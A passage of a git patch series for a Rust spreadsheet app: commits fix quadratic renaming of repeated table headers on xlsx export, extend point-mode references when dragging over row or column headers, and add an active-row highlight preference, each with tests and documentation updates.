index 7189358ac..c2dabc2fe 100644 --- a/crates/ui-egui/tests/it/tab_split.rs +++ b/crates/ui-egui/tests/it/tab_split.rs @@ -197,3 +197,24 @@ fn display_options_hide_the_sheet_tabs_and_the_horizontal_scroll_bar() { h.run_steps(5); assert!(!shows_tab_name(&h) && h.state().grid.hscroll.is_none() && h.state().grid.tab_split.is_none(), "no bar at all"); } + +#[test] +fn hiding_the_controls_clears_their_cached_rectangles() { + // Turned off on a live window, the controls drop the rectangles of the frame that drew them. + let mut h = harness(900.0, 1); + assert!(h.state().grid.tab_split.is_some() && h.state().grid.hscroll.is_some(), "both controls drawn first"); + + h.state_mut().run("view.showSheetTabs", json!({"on": false})).unwrap(); + h.run_steps(5); + assert!(h.state().grid.tab_split.is_none(), "no split handle once the tabs are hidden"); + assert!(h.state().grid.hscroll.is_some(), "the scroll bar stays"); + + h.state_mut().run("view.showSheetTabs", json!({"on": true})).unwrap(); + h.state_mut().run("view.showHorizontalScrollBar", json!({"on": false})).unwrap(); + h.run_steps(5); + assert!(h.state().grid.hscroll.is_none() && h.state().grid.tab_split.is_none(), "no scroll bar and no split handle"); + + h.state_mut().run("view.showSheetTabs", json!({"on": false})).unwrap(); + h.run_steps(5); + assert!(h.state().grid.hscroll.is_none() && h.state().grid.tab_split.is_none(), "no bar at all"); +} From 92cdc2a975b6e014da6ff25477232b500e3c1cf6 Mon Sep 17 00:00:00 2001 From: "Dylan M. Taylor" Date: Tue, 3 Nov 2026 06:45:15 -0500 Subject: [PATCH 116/167] xlsx: rename repeated table headers without retrying handed-out suffixes (#3213) table_columns restarted its suffix search at 2 for every duplicate header, lowercasing and hashing every candidate already in use, so a table of repeated headers was exported in quadratic time. The next suffix to try is now remembered per lowercased base. --- crates/xlsx/src/sheet_write/parts.rs | 57 +++++++++++++++++++++++++--- 1 file changed, 51 insertions(+), 6 deletions(-) diff --git a/crates/xlsx/src/sheet_write/parts.rs b/crates/xlsx/src/sheet_write/parts.rs index 2e40d0b26..040e2b9bd 100644 --- a/crates/xlsx/src/sheet_write/parts.rs +++ b/crates/xlsx/src/sheet_write/parts.rs @@ -1,3 +1,5 @@ +use std::collections::HashMap; + use super::*; /// Valid table name: letters, digits, `_` and `.`, starting with a letter, `_` or `\` @@ -21,16 +23,24 @@ pub(super) fn table_name(name: &str, used: &mut HashSet, n: u32) -> Stri pub(super) fn table_columns(t: &Table) -> Vec { let w = t.range.width() as usize; let mut used = HashSet::new(); + // The next suffix to try per lowercased base, so repeated headers don't retry every suffix + // already handed out. + let mut next: HashMap = HashMap::new(); (0..w) .map(|i| { let base = t.columns.get(i).map(|c| c.name.clone()).filter(|n| !n.trim().is_empty()).unwrap_or_else(|| format!("Column{}", i + 1)); - let mut name = base.clone(); - let mut k = 2; - while !used.insert(name.to_lowercase()) { - name = format!("{base}{k}"); - k += 1; + let lower = base.to_lowercase(); + if used.insert(lower.clone()) { + return base; + } + let k = next.entry(lower).or_insert(2); + loop { + let name = format!("{base}{k}"); + *k += 1; + if used.insert(name.to_lowercase()) { + return name; + } } - name }) .collect() } @@ -371,3 +381,38 @@ pub(super) fn vml_xml(sheet: &Sheet, n: u32) -> String { s.push_str(""); s } + +#[cfg(test)] +mod tests { + use gridcraft_model::TableColumn; + + use super::*; + + #[test] + fn repeated_headers_are_renamed_without_retrying_suffixes() { + let col = |n: &str| TableColumn { name: n.into(), totals: TotalsFn::None, totals_label: None, formula: None, unique_name: None, xml: None }; + let mut columns: Vec = (0..10_000).map(|_| col("Total")).collect(); + columns[1] = col("total3"); + let t = Table { + id: 1, + name: "T".into(), + range: RangeRef::parse("A1:NTP2").unwrap(), + header_row: true, + totals_row: false, + columns, + style: String::new(), + banded_rows: false, + banded_cols: false, + first_col: false, + last_col: false, + filter_button: false, + filter: vec![], + table_type: None, + connection_id: None, + }; + let names = table_columns(&t); + assert_eq!(names.len(), 10_000); + assert_eq!(&names[..4], ["Total", "total3", "Total2", "Total4"]); + assert_eq!(names.iter().map(|n| n.to_lowercase()).collect::>().len(), 10_000); + } +} From f4f69beec237c6cf7c7ba3a6675e17ed6a2f2065 Mon Sep 17 00:00:00 2001 From: Daniele Mori Date: Tue, 3 Nov 2026 13:45:53 +0100 Subject: [PATCH 117/167] Point mode: dragging over row or column headers extends the reference A press on a header while a formula waits for a reference inserted C:C, but the drag that followed did nothing, so dragging from column C to E left C:C. The drag now follows the pointer, as it does over cells, in either direction and for rows too, keeping the sheet qualifier, the earlier arguments of a Ctrl press and the far end of a Shift press. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/grid.rs | 4 + crates/ui-egui/src/grid/cursor.rs | 2 +- crates/ui-egui/src/grid/interact.rs | 62 ++++++++++++- .../ui-egui/tests/it/formula_point_headers.rs | 89 +++++++++++++++++++ docs/ui-parity.md | 5 +- 5 files changed, 155 insertions(+), 7 deletions(-) diff --git a/crates/ui-egui/src/grid.rs b/crates/ui-egui/src/grid.rs index 5a6dd3978..5dd7246b9 100644 --- a/crates/ui-egui/src/grid.rs +++ b/crates/ui-egui/src/grid.rs @@ -101,6 +101,10 @@ pub enum Drag { Select, Rows(u32), Cols(u32), + /// Point mode over the row headers: the formula's reference runs from this row to the pointer. + PointRows(u32), + /// Point mode over the column headers: the formula's reference runs from this column to the pointer. + PointCols(u32), /// Reordering one contiguous whole-column selection by its header. MoveCols { source: RangeRef, diff --git a/crates/ui-egui/src/grid/cursor.rs b/crates/ui-egui/src/grid/cursor.rs index f93e59cb6..abcd7ed78 100644 --- a/crates/ui-egui/src/grid/cursor.rs +++ b/crates/ui-egui/src/grid/cursor.rs @@ -48,7 +48,7 @@ fn drag_cursor(drag: &Drag, rtl: bool) -> Option { match drag { Drag::None => None, Drag::Select => Some(CursorIcon::Cell), - Drag::Rows(_) | Drag::Cols(_) => Some(CursorIcon::Default), + Drag::Rows(_) | Drag::Cols(_) | Drag::PointRows(_) | Drag::PointCols(_) => Some(CursorIcon::Default), Drag::Fill { .. } => Some(CursorIcon::Crosshair), Drag::Move { .. } | Drag::MoveCols { .. } | Drag::Object { handle: None, .. } => Some(CursorIcon::Move), Drag::ResizeCol { .. } => Some(CursorIcon::ResizeColumn), diff --git a/crates/ui-egui/src/grid/interact.rs b/crates/ui-egui/src/grid/interact.rs index 5de25fd53..350aefd7a 100644 --- a/crates/ui-egui/src/grid/interact.rs +++ b/crates/ui-egui/src/grid/interact.rs @@ -307,6 +307,7 @@ fn handle_column_header_press(app: &mut SheetApp, input: &InteractionInput<'_>, return; } if point_header(app, wb, sh, RangeRef::cols(c, c), mods.shift, mods.command) { + point_header_first_move(app, input); return; } // An armed Format Painter paints the columns dragged over instead of moving them. @@ -337,6 +338,7 @@ fn handle_row_header_press(app: &mut SheetApp, input: &InteractionInput<'_>, p: } let r = geo.row_at(sh, p.y); if point_header(app, wb, sh, RangeRef::rows(r, r), mods.shift, mods.command) { + point_header_first_move(app, input); return; } let range = if mods.shift { RangeRef::rows(sel.anchor.row.min(r), sel.anchor.row.max(r)) } else { RangeRef::rows(r, r) }; @@ -612,6 +614,10 @@ fn handle_dragging(app: &mut SheetApp, input: &InteractionInput<'_>) { app.session.run("selection.set", json!({"range": RangeRef::cols(anchor.min(c), anchor.max(c)).a1(), "active": sel.active.a1()})); scroll_by(app, vec2(auto.x, 0.0)); } + drag @ (Drag::PointRows(_) | Drag::PointCols(_)) => { + point_header_to(app, geo, sh, wb, &drag, p); + scroll_by(app, if matches!(drag, Drag::PointRows(_)) { vec2(0.0, auto.y) } else { vec2(auto.x, 0.0) }); + } Drag::MoveCols { source, .. } => { let col = geo.col_at(sh, p.x.clamp(geo.cells.left() + 1.0, geo.cells.right() - 1.0)); let midpoint = geo.x(sh, col) + sh.col_width(col) * geo.z * 0.5; @@ -688,6 +694,14 @@ fn handle_release(app: &mut SheetApp, input: &InteractionInput<'_>) { } // Whole rows or columns clicked or dragged over by their headers. Drag::Rows(_) | Drag::Cols(_) => format_painter_apply(app), + // The release may be the first frame to report the pointer's last position. + drag @ (Drag::PointRows(_) | Drag::PointCols(_)) => { + if resp.drag_stopped() + && let Some(p) = pos + { + point_header_to(app, geo, sh, wb, &drag, p); + } + } // Esc mid-drag lands here too (egui ends the drag on Esc): no menu, and the key is // spent on the drag so the grid's Esc doesn't also drop the copy. Drag::Fill { target: Some(t), menu: true } => { @@ -751,11 +765,13 @@ fn format_painter_apply(app: &mut SheetApp) { } } -/// Point mode on a header: inserts a whole-row or whole-column reference instead of selecting. +/// Point mode on a header: inserts a whole-row or whole-column reference instead of selecting, +/// and dragging on from there extends it. fn point_header(app: &mut SheetApp, wb: &Workbook, sh: &Sheet, range: RangeRef, extend: bool, add: bool) -> bool { let Some(ed) = app.editor.as_mut().filter(|ed| ed.can_point()) else { return false }; let edit_sheet = ed.sheet; let active_sheet = wb.active_sheet(); + let pressed = range; let range = if extend { ed.point .and_then(|point| crate::editor::formula_refs(&ed.text).into_iter().find(|(start, end, ..)| (*start, *end) == point)) @@ -776,9 +792,7 @@ fn point_header(app: &mut SheetApp, wb: &Workbook, sh: &Sheet, range: RangeRef, } else { range }; - let reference = range.a1(); - let reference = - if ed.sheet != wb.active_sheet() { format!("{}!{reference}", gridcraft_engine::formula::quote_sheet(&sh.name)) } else { reference }; + let reference = header_reference(ed, wb, sh, range); if add { ed.append_ref(&reference); } else { @@ -787,9 +801,49 @@ fn point_header(app: &mut SheetApp, wb: &Workbook, sh: &Sheet, range: RangeRef, ed.point_anchor = None; ed.point_cell = Some(range.start); ed.request_focus = true; + // The drag keeps the end of the reference the press didn't land on. + app.grid.drag = if range.is_full_cols() { + Drag::PointCols(if range.start.col == pressed.start.col { range.end.col } else { range.start.col }) + } else { + Drag::PointRows(if range.start.row == pressed.start.row { range.end.row } else { range.start.row }) + }; true } +fn header_reference(ed: &EditState, wb: &Workbook, sh: &Sheet, range: RangeRef) -> String { + let reference = range.a1(); + if ed.sheet != wb.active_sheet() { format!("{}!{reference}", gridcraft_engine::formula::quote_sheet(&sh.name)) } else { reference } +} + +/// The frame that starts a drag reports no `dragged()`, so its movement is applied here. +fn point_header_first_move(app: &mut SheetApp, input: &InteractionInput<'_>) { + if input.response.drag_started() + && let Some(p) = input.position + { + let drag = app.grid.drag.clone(); + point_header_to(app, input.geo, input.sheet, input.workbook, &drag, p); + } +} + +/// Point mode dragged over the headers: the pointed reference runs from the anchor to the pointer. +fn point_header_to(app: &mut SheetApp, geo: &Geo, sh: &Sheet, wb: &Workbook, drag: &Drag, p: Pos2) { + let range = match *drag { + Drag::PointCols(anchor) => { + let col = geo.col_at(sh, p.x.clamp(geo.cells.left() + 1.0, geo.cells.right() - 1.0)); + RangeRef::cols(anchor.min(col), anchor.max(col)) + } + Drag::PointRows(anchor) => { + let row = geo.row_at(sh, p.y.clamp(geo.cells.top() + 1.0, geo.cells.bottom() - 1.0)); + RangeRef::rows(anchor.min(row), anchor.max(row)) + } + _ => return, + }; + let Some(ed) = app.editor.as_mut().filter(|ed| ed.point_at_caret()) else { return }; + let reference = header_reference(ed, wb, sh, range); + ed.insert_ref(&reference); + ed.point_cell = Some(range.start); +} + fn select_to_pointer(app: &mut SheetApp, geo: &Geo, sh: &Sheet, wb: &Workbook, p: Pos2) { let cell = CellRef::new( geo.row_at(sh, p.y.clamp(geo.cells.top() + 1.0, geo.cells.bottom() - 1.0)), diff --git a/crates/ui-egui/tests/it/formula_point_headers.rs b/crates/ui-egui/tests/it/formula_point_headers.rs index 61c4192fa..06d5b9308 100644 --- a/crates/ui-egui/tests/it/formula_point_headers.rs +++ b/crates/ui-egui/tests/it/formula_point_headers.rs @@ -173,3 +173,92 @@ fn shift_does_not_extend_a_row_reference_across_sheets() { [("6:6".into(), Some("Other sheet".into())),] ); } + +fn press_and_drag(h: &mut egui_kittest::Harness<'_, SheetApp>, from: Pos2, to: Pos2, modifiers: Modifiers) { + h.input_mut().events.push(Event::ModifiersChanged(modifiers)); + h.input_mut() + .events + .extend([Event::PointerMoved(from), Event::PointerButton { pos: from, button: PointerButton::Primary, pressed: true, modifiers }]); + h.step(); + drag_to(h, to); +} + +fn drag_to(h: &mut egui_kittest::Harness<'_, SheetApp>, to: Pos2) { + h.input_mut().events.push(Event::PointerMoved(to)); + h.step(); +} + +fn release(h: &mut egui_kittest::Harness<'_, SheetApp>, at: Pos2) { + h.input_mut().events.push(Event::PointerButton { pos: at, button: PointerButton::Primary, pressed: false, modifiers: Modifiers::NONE }); + h.run_steps(2); + h.input_mut().events.push(Event::ModifiersChanged(Modifiers::NONE)); +} + +fn text<'a>(h: &'a egui_kittest::Harness<'_, SheetApp>) -> &'a str { + h.state().editor.as_ref().map_or("", |ed| ed.text.as_str()) +} + +#[test] +fn dragging_over_column_headers_extends_the_reference() { + let mut h = harness(); + let (c, e, a, d) = (header_center(&h, false, 2), header_center(&h, false, 4), header_center(&h, false, 0), header_center(&h, false, 3)); + press_and_drag(&mut h, c, e, Modifiers::NONE); + assert_eq!(text(&h), "=SUM(C:E"); + // Back past the press: the reference follows the pointer instead of keeping E. + drag_to(&mut h, a); + assert_eq!(text(&h), "=SUM(A:C"); + // The release position counts even without a movement frame before it. + release(&mut h, d); + assert_eq!(text(&h), "=SUM(C:D"); + assert_eq!(h.state().session.active().unwrap().selection.current().a1(), "F8"); +} + +#[test] +fn dragging_over_row_headers_extends_the_reference() { + let mut h = harness(); + let (r3, r6, r2) = (header_center(&h, true, 2), header_center(&h, true, 5), header_center(&h, true, 1)); + press_and_drag(&mut h, r3, r6, Modifiers::NONE); + assert_eq!(text(&h), "=SUM(3:6"); + release(&mut h, r2); + assert_eq!(text(&h), "=SUM(2:3"); + assert_eq!(h.state().session.active().unwrap().selection.current().a1(), "F8"); +} + +#[test] +fn header_drag_on_another_sheet_keeps_the_qualifier() { + let mut h = harness(); + h.state_mut().session.execute("home.insertSheet", json!({"name": "Other sheet"})).unwrap(); + h.run_steps(2); + let (b, d) = (header_center(&h, false, 1), header_center(&h, false, 3)); + press_and_drag(&mut h, b, d, Modifiers::NONE); + assert_eq!(text(&h), "=SUM('Other sheet'!B:D"); +} + +#[test] +fn header_drag_with_command_keeps_the_earlier_argument() { + let mut h = harness(); + let (a, e, f) = (header_center(&h, false, 0), header_center(&h, false, 4), header_center(&h, false, 5)); + click(&mut h, a); + press_and_drag(&mut h, e, f, Modifiers { mac_cmd: true, command: true, ..Modifiers::NONE }); + assert_eq!(text(&h), "=SUM(A:A,E:F"); +} + +#[test] +fn header_drag_with_shift_keeps_the_far_end_of_the_reference() { + let mut h = harness(); + let (c, e, d) = (header_center(&h, false, 2), header_center(&h, false, 4), header_center(&h, false, 3)); + click(&mut h, c); + press_and_drag(&mut h, e, d, Modifiers { shift: true, ..Modifiers::NONE }); + assert_eq!(text(&h), "=SUM(C:D"); +} + +#[test] +fn clicks_on_headers_replace_the_reference_after_a_drag_too() { + let mut h = harness(); + let (c, e, g) = (header_center(&h, false, 2), header_center(&h, false, 4), header_center(&h, false, 6)); + press_and_drag(&mut h, c, e, Modifiers::NONE); + release(&mut h, e); + assert_eq!(text(&h), "=SUM(C:E"); + click(&mut h, g); + assert_eq!(text(&h), "=SUM(G:G"); +} diff --git a/docs/ui-parity.md b/docs/ui-parity.md index 125182d27..b15cd3fbf 100644 --- a/docs/ui-parity.md +++ b/docs/ui-parity.md @@ -1,6 +1,6 @@ # UI parity -> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-02 · **Change:** minor (RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 +> **Last reviewed:** 2026-10-10 · **Last updated:** 2026-11-03 · **Change:** minor (dragging over row or column headers in point mode extends the reference; earlier: RefEdit reference boxes in dialogs: Goal Seek, Solver and Data Analysis use them, the arrow keys select while a dialog is collapsed and F4 cycles a reference's anchors; earlier: Python cells: Python mode in the formula bar; earlier: Insert › Equation and the equation editor; earlier: every floating object selects, resizes from eight handles and deletes with the keyboard; earlier: Formulas › Error Checking › Trace Error; trace arrows stay through a zoom (#3097); earlier: Page Setup sets the page order, Down, then over or Over, then down, which printing, the print preview, Page Break Preview and Page Layout view follow; earlier: Formulas › Function Library as labelled buttons with category menus; Recently Used and the Insert Function categories; Esc leaves a File-page text field before closing the view; earlier: checkbox cells print as boxes; Ctrl+arrow and Ctrl+Shift+arrow while pointing a formula reference; editing a hyperlink loads its existing fields; AutoSum over a selected row puts its total to the right; ribbon catalog count 276 / 292) · **Target:** Microsoft Excel (Microsoft 365), Excel for Mac 16.113.4 Interaction, controls and feel, against Excel. Part of [target-app-parity.md](target-app-parity.md). **UI/UX fidelity: ~55% ready, 50–80 h** (estimated). Ribbon command coverage is measured @@ -57,7 +57,7 @@ this logic, with one undo step. | Fill handle: drag to fill series, double-click to fill down, right-drag menu | fill done (Ctrl+drag swaps copy and series; month patterns use the workbook's 1900 or 1904 date system); right-drag menu partial: Copy Cells, Fill Series, Fill Formatting Only, Fill Without Formatting, and from a date Fill Days, Fill Weekdays, Fill Months and Fill Years, then Series…; a left-drag leaves an Auto Fill Options button with the same fill choices (gone once the workbook changes or the selection moves); Linear/Growth Trend and Flash Fill missing | | Drag-move and drag-copy cells (border drag, Ctrl/Option, Shift to insert) | done (M3) | | In-cell editing, Enter/Tab movement, Alt/Option+Enter line breaks | done | -| Point mode (click/drag/arrow references), reference colouring, F4 | done; Command/Ctrl-click adds separate arguments with the edit's locale separator, and Shift-click extends the current reference from a fixed anchor on the same sheet. Pointer-event regressions cover repeated/reversed selections, manual separators, sheet switches and keyboard continuation. | +| Point mode (click/drag/arrow references), reference colouring, F4 | done; dragging over row or column headers points at whole rows or columns (`A:C`, `2:5`); Command/Ctrl-click adds separate arguments with the edit's locale separator, and Shift-click extends the current reference from a fixed anchor on the same sheet. Pointer-event regressions cover repeated/reversed selections, manual separators, sheet switches and keyboard continuation. | | Number-format colors (`[Green]`, `[Color1]`–`[Color56]`) | Rendered in grid and PDF from shared RGB mappings (#1452) | | Point mode (click/drag/arrow references), reference colouring, F4 | done | | AutoComplete in columns, function autocomplete and argument tips | done; cell helpers clip to the worksheet and hide when the editor scrolls out (#200) | @@ -237,6 +237,7 @@ scrollbar bugs 2–4 · pixel/feel pass against observed Excel 7–12. | Date | Change | Summary | |---|---|---| +| 2026-11-03 | minor | Point mode: dragging over row or column headers extends the whole-row or whole-column reference, as it does over cells | | 2026-11-02 | minor | RefEdit reference boxes in dialogs: pick a range on the grid, collapse the dialog while selecting; Goal Seek, Solver (with the Model Range of Load/Save) and Data Analysis use them; while collapsed the arrow keys move the selection and Shift+arrow extends it, F4 cycles a reference's anchors, a click elsewhere keeps the box picking, a dialog opened over a picking one puts the selection back, OK stays on the sheet its command showed, and scripted cancel and confirm end a pick like the buttons; the dialog's sheet is followed through the recorded undo steps, so a sheet deleted and recreated under its name is not taken for it and an undo of the deletion brings it back; a box the dialog stops showing is no longer picked into | | 2026-11-02 | minor | Python mode edits a cell's code in the formula bar's code editor (Ctrl+Alt+Shift+P, `=PY` then Tab, editing a Python cell), with the PY badge beside fx; its keys apply in input order, also several in one frame, and Ctrl+Enter commits through `python.set` (empty code clears the cell), keeping the code and showing the command's message when the code is refused | | 2026-11-02 | minor | Insert › Symbols: Equation split button (access keys N E), a gallery of examples, and an equation editor with quick-insert buttons, the error underlined at its position and a live preview; double-clicking an equation edits it | From 38a7067ca26aaf884e54bb79cae90b708b974e18 Mon Sep 17 00:00:00 2001 From: Daniele Mori Date: Tue, 3 Nov 2026 13:59:41 +0100 Subject: [PATCH 118/167] Options: highlight the active cell's row, as a global preference On a wide table the eye loses its place following a row from the active cell. File > Options > General gets "Highlight the active cell's row", off by default: a tint across the whole row of the active cell, over the fills and under the text, in Normal and Page Layout views. It is a preference for every sheet and workbook, so nothing goes into the file, the workbook does not become dirty and there is no undo step. Co-Authored-By: Claude Opus 5.5 --- crates/ui-egui/src/app/commands.rs | 4 + crates/ui-egui/src/backstage/options.rs | 4 + crates/ui-egui/src/control.rs | 1 + crates/ui-egui/src/grid.rs | 2 + crates/ui-egui/src/grid/active_row.rs | 28 ++++ crates/ui-egui/src/grid/quadrant.rs | 7 + crates/ui-egui/src/grid/show.rs | 14 +- crates/ui-egui/src/i18n/it.rs | 1 + crates/ui-egui/src/lib.rs | 4 + crates/ui-egui/src/paper_view.rs | 14 +- crates/ui-egui/src/theme.rs | 3 + .../ui-egui/tests/it/active_row_highlight.rs | 124 ++++++++++++++++++ crates/ui-egui/tests/it/main.rs | 1 + docs/ui-parity.md | 4 +- 14 files changed, 208 insertions(+), 3 deletions(-) create mode 100644 crates/ui-egui/src/grid/active_row.rs create mode 100644 crates/ui-egui/tests/it/active_row_highlight.rs diff --git a/crates/ui-egui/src/app/commands.rs b/crates/ui-egui/src/app/commands.rs index 86a4a6cc5..db657f567 100644 --- a/crates/ui-egui/src/app/commands.rs +++ b/crates/ui-egui/src/app/commands.rs @@ -191,6 +191,10 @@ impl SheetApp { self.ui.autocomplete = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.autocomplete); Ok(json!({"on": self.ui.autocomplete})) } + "options.highlightActiveRow" => { + self.ui.highlight_active_row = p.get("on").and_then(Json::as_bool).unwrap_or(!self.ui.highlight_active_row); + Ok(json!({"on": self.ui.highlight_active_row})) + } "view.interfaceScale" => { // `{"percent": 125}` or `{"percent": "auto"}`; out-of-range values are clamped. let percent = match p.get("percent") { diff --git a/crates/ui-egui/src/backstage/options.rs b/crates/ui-egui/src/backstage/options.rs index 6b9f70eb7..8d62ae41b 100644 --- a/crates/ui-egui/src/backstage/options.rs +++ b/crates/ui-egui/src/backstage/options.rs @@ -14,6 +14,10 @@ pub(super) fn options(app: &mut SheetApp, ui: &mut Ui) { if ui.checkbox(&mut formula_bar, lang.tr("Show formula bar")).changed() { app.run_or_alert("view.formulaBar", json!({"on": formula_bar})); } + let mut highlight_row = app.ui.highlight_active_row; + if ui.checkbox(&mut highlight_row, lang.tr("Highlight the active cell's row")).changed() { + app.run_or_alert("options.highlightActiveRow", json!({"on": highlight_row})); + } ui.add_space(18.0); section(ui, lang, "Options|Editing"); let mut autocomplete = app.ui.autocomplete; diff --git a/crates/ui-egui/src/control.rs b/crates/ui-egui/src/control.rs index 2d46b21b8..4cf1a77df 100644 --- a/crates/ui-egui/src/control.rs +++ b/crates/ui-egui/src/control.rs @@ -269,6 +269,7 @@ pub fn handle(app: &mut SheetApp, ctx: &egui::Context, method: &str, p: &Json) - ("view.theme", "Display Theme", ""), ("view.animations", "Animations", "{on?: bool} (toggles without it) → {on}"), ("options.autoComplete", "Enable AutoComplete for cell values", "{on?: bool} (toggles without it) → {on}"), + ("options.highlightActiveRow", "Highlight the active cell's row", "{on?: bool} (toggles without it) → {on}"), ("view.interfaceScale", "Interface Size", "{percent: 75–200 | \"auto\"} (100 = auto; clamped)"), ("ui.dialog", "Open Dialog", ""), ("ui.backstage", "File (Backstage view)", "{page?: home|new|open|info|saveAs|print|export|options|account|close}"), diff --git a/crates/ui-egui/src/grid.rs b/crates/ui-egui/src/grid.rs index 5a6dd3978..1b92ed0c0 100644 --- a/crates/ui-egui/src/grid.rs +++ b/crates/ui-egui/src/grid.rs @@ -22,6 +22,8 @@ type PagesCache = ((u64, u64, usize), Vec<(RangeRef, u32)>); /// Cached Show Details cells, keyed by (doc uid, revision, sheet, pivot). type DetailsCache = ((u64, u64, usize, usize), Option>); +mod active_row; +pub use active_row::active_row_band; mod cell_paint; mod cursor; mod editor; diff --git a/crates/ui-egui/src/grid/active_row.rs b/crates/ui-egui/src/grid/active_row.rs new file mode 100644 index 000000000..89c33dce2 --- /dev/null +++ b/crates/ui-egui/src/grid/active_row.rs @@ -0,0 +1,28 @@ +//! "Highlight the active cell's row" (File ▸ Options ▸ General): a tint across the whole row of +//! the active cell, so the eye keeps its place in a wide table. + +use super::geo::Geo; +use super::quadrant::QuadrantPaint; +use super::{Rect, Sheet, pos2}; + +/// The tinted band of `row` inside one quadrant (`rows` x `cols`): none when the row is outside +/// the quadrant or hidden. +pub fn active_row_band(geo: &Geo, sh: &Sheet, row: u32, rows: (u32, u32), cols: (u32, u32)) -> Option { + let height = sh.row_height(row) * geo.z; + if row < rows.0 || row > rows.1 || height <= 0.0 { + return None; + } + let top = geo.y(sh, row); + let right = geo.x(sh, cols.1) + sh.col_width(cols.1) * geo.z; + Some(Rect::from_min_max(pos2(geo.x(sh, cols.0), top), pos2(right, top + height))) +} + +/// Paints the band of one quadrant, when the preference is on. With `within`, only the part of it +/// inside that area (text running past its cell has just cleared it). +pub(super) fn paint_active_row(q: &QuadrantPaint<'_>, within: Option) { + let Some(band) = q.active_row.and_then(|row| active_row_band(q.geo, q.sheet, row, q.rows, q.cols)) else { return }; + let part = within.map_or(band, |area| band.intersect(area)); + if part.is_positive() { + q.painter.rect_filled(part, 0.0, q.tokens.active_row); + } +} diff --git a/crates/ui-egui/src/grid/quadrant.rs b/crates/ui-egui/src/grid/quadrant.rs index 554bdcfdd..84155bf26 100644 --- a/crates/ui-egui/src/grid/quadrant.rs +++ b/crates/ui-egui/src/grid/quadrant.rs @@ -1,3 +1,4 @@ +use super::active_row::paint_active_row; use super::cell_paint::{ Look, MergedArea, cell_text_y, center_across_end, col32, display_text, look, merged_edges, paint_border, paint_cf_icon, painted_halign, rotated_text_pos, shrink_font, wrapped_cell_text_y, @@ -102,6 +103,8 @@ pub(crate) struct QuadrantPaint<'a> { pub(crate) cols: (u32, u32), pub(crate) cf: &'a mut CfCache, pub(crate) tokens: &'a Tokens, + /// The row to tint, when "Highlight the active cell's row" is on. + pub(crate) active_row: Option, } /// Paint a worksheet quadrant, including backgrounds, borders, and text. @@ -118,6 +121,8 @@ pub(crate) fn paint_quadrant(mut quadrant: QuadrantPaint<'_>) { let cells = visible_cells(&quadrant); let looks = paint_backgrounds(&mut quadrant, &cells, &merges); let outside = outside_text_cells(&mut quadrant, &merges); + // Over the fills and under the text and borders. + paint_active_row(&quadrant, None); paint_cells(&mut quadrant, &looks, &outside, &merges); paint_borders(&mut quadrant, &looks, &merges); paint_sparklines(&quadrant, range); @@ -478,9 +483,11 @@ fn paint_cell(q: &QuadrantPaint<'_>, painted: &(CellRef, Rect, Look, Option 0.0 { p.rect_filled(extra_l, 0.0, t.grid_bg); + paint_active_row(q, Some(extra_l)); } if extra_r.width() > 0.0 { p.rect_filled(extra_r, 0.0, t.grid_bg); + paint_active_row(q, Some(extra_r)); } } } diff --git a/crates/ui-egui/src/grid/show.rs b/crates/ui-egui/src/grid/show.rs index f1416c2ec..bcf128c17 100644 --- a/crates/ui-egui/src/grid/show.rs +++ b/crates/ui-egui/src/grid/show.rs @@ -404,7 +404,19 @@ fn paint_panes(input: PanesInput<'_>, cf: &mut CfCache) -> Vec { continue; } let p = painter.with_clip_rect(*clip); - paint_quadrant(QuadrantPaint { painter: &p, geo, workbook: wb, sheet_index: si, sheet: sh, rows: *rows, cols: *cols, cf, tokens: t }); + let active_row = app.ui.highlight_active_row.then_some(sel.active.row); + paint_quadrant(QuadrantPaint { + painter: &p, + geo, + workbook: wb, + sheet_index: si, + sheet: sh, + rows: *rows, + cols: *cols, + cf, + tokens: t, + active_row, + }); paint_selection(SelectionPaintInput { painter: &p, geo, sheet: sh, selection: sel, outline, tokens: t, app, rows: *rows, cols: *cols }); } // Freeze lines. diff --git a/crates/ui-egui/src/i18n/it.rs b/crates/ui-egui/src/i18n/it.rs index f72a4cdf1..a0ca6bd16 100644 --- a/crates/ui-egui/src/i18n/it.rs +++ b/crates/ui-egui/src/i18n/it.rs @@ -410,6 +410,7 @@ pub(super) fn translate(text: &str) -> Option<&'static str> { "Options|Save" => "Salvataggio", "Options|Editing" => "Modifica", "Show formula bar" => "Mostra barra della formula", + "Highlight the active cell's row" => "Evidenzia la riga della cella attiva", "Enable AutoComplete for cell values" => "Abilita Completamento automatico per i valori delle celle", "Save .xlsx workbooks automatically after every change" => "Salva automaticamente le cartelle di lavoro .xlsx dopo ogni modifica", "Workbook calculation" => "Calcolo della cartella di lavoro", diff --git a/crates/ui-egui/src/lib.rs b/crates/ui-egui/src/lib.rs index 95f861f14..78a949d0c 100644 --- a/crates/ui-egui/src/lib.rs +++ b/crates/ui-egui/src/lib.rs @@ -94,6 +94,9 @@ pub struct UiState { /// Enable AutoComplete for cell values (File ▸ Options ▸ Editing): typed text is completed /// from the one matching entry in the same column. pub autocomplete: bool, + /// Tint the active cell's whole row (File ▸ Options ▸ General), on every sheet and workbook, so + /// the eye keeps its place across a wide table. A preference: nothing goes into the file. + pub highlight_active_row: bool, /// AutoSave (the title-bar switch): save saved-to-file .xlsx workbooks shortly after every /// change. A preference like the rest of this struct — it stays on across restarts (#1901). pub autosave: bool, @@ -140,6 +143,7 @@ impl Default for UiState { status_bar: true, animations: true, autocomplete: true, + highlight_active_row: false, autosave: false, recent: vec![], keytip_invoke: None, diff --git a/crates/ui-egui/src/paper_view.rs b/crates/ui-egui/src/paper_view.rs index f444b6ac2..114d1e8ca 100644 --- 